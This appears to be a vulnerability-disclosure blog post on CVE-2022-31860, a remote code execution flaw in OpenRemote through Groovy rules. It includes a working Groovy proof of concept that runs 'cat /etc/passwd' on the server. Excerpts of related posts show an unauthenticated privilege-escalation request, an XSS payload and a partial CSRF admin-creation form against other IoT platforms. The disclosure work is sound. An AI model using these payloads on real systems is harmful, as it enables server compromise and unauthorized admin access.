CVE-ID: CVE-2022-31860

An issue was discovered in OpenRemote through 1.0.4 allows attackers to execute arbitrary code via a crafted Groovy rule. Post disclosure, OpenRemote has restricted the affected functionality to specific user role (super users - https://github.com/openremote/openremote/pull/725), to potentially reduce risks regarding unrestricted Groovy rules. 

Details:

The OpenRemote Platform has a functionality wherein users can create rules in 3 ways, namely, When-Then, Flow and Groovy.  Users can create rules by writing custom code in Groovy programming language. It is possible for a user of the platform to create a Groovy rule that executes arbitrary commands on the server hosting the OpenRemote platform. In the following PoC, we are trying to execute the "cat /etc/passwd" command on the hosting server and log the output of the command.

Proof of Concept:

def sout = new StringBuilder(), serr = new StringBuilder()

def proc = 'cat /etc/passwd'.execute()

proc.consumeProcessOutput(sout, serr)

proc.waitForOrKill(1)

LOG.info("out> $sout\n")


The command output can be viewed in the logs of the platform (https://localhost/manager/#/logs) as follows:

References:

https://github.com/openremote/openremote/

https://stackoverflow.com/questions/159148/groovy-executing-shell-commands

https://stackoverflow.com/questions/66069960/groovy-shell-sandboxing-best-practices

https://github.com/openremote/openremote/pull/725

Popular posts from this blog

CVE-ID: CVE-2022-35135, CVE-2022-35136

CVE-2022-35136:  Boodskap IoT Platform v4.4.9-02 allows attackers to make unauthenticated API requests. CVE-2022-35135:  Boodskap IoT Platform v4.4.9-02 allows attackers to escalate privileges  via a crafted request sent to /api/user/upsert/<uuid>.  The platform successfully processes API requests even without valid cookies.For example, the following request to update user profile is processed, even though the request does not have any cookie/api key. (Cookie header is blank in the request) Since API requests to the platform are not authenticated, a user can assign themselves an admin role, by sending a request to  http://192.168.72.157/api/user/upsert/<userid>  endpoint. HTTP Request: POST /api/user/upsert/8c34fa03- 706a-4dc7-b484-cd8e0c329c81 HTTP/1.1 Host: 192.168.72.157 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Re
Read more

CVE-ID: CVE-2022-35134

Image
  Boodskap  IoT Platform v4.4.9-02 contains a cross-site scripting (XSS)  vulnerability. The application does not enforce input validation and output sanitization in multiple functionalities.  Example 1: domain name can be set to <script>alert(1)</script> Example 2: A lower privilege user can change their name to include a XSS payload, and target the admin user References: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
Read more

CVE-ID: CVE-2022-34020

Cross Site Request Forgery (CSRF) vulnerability in ResIOT ResIOT IOT Platform + LoRaWAN Network Server through 4.1.1000114 allows attackers to add new admin users to the platform or other unspecified impacts. ResIOT® IOT Platform + LoRaWAN Network Server (on-premise version) V.4.1.1000114  does not use any CSRF protection mechanism. It is possible for an attacker to launch CSRF attacks against users of the platform. An attacker can abuse CSRF to perform actions, such as creating a user on the platform. For this, the attacker can prepare a HTML form such as follows, host it online and send the form's link to a ResIoT admin user. <html>   <body>   <script>history.pushState('', '', '/')</script>     <form action=" http://172.20.32.1: 8088/UserorgApi/?domain=172. 20.32.1&protocol=http:&email= test111@gmail.com&firstname= test&lastname=one&password= V79NrFNCAxZNXtg&phone= 77777777777 " method="POST
Read more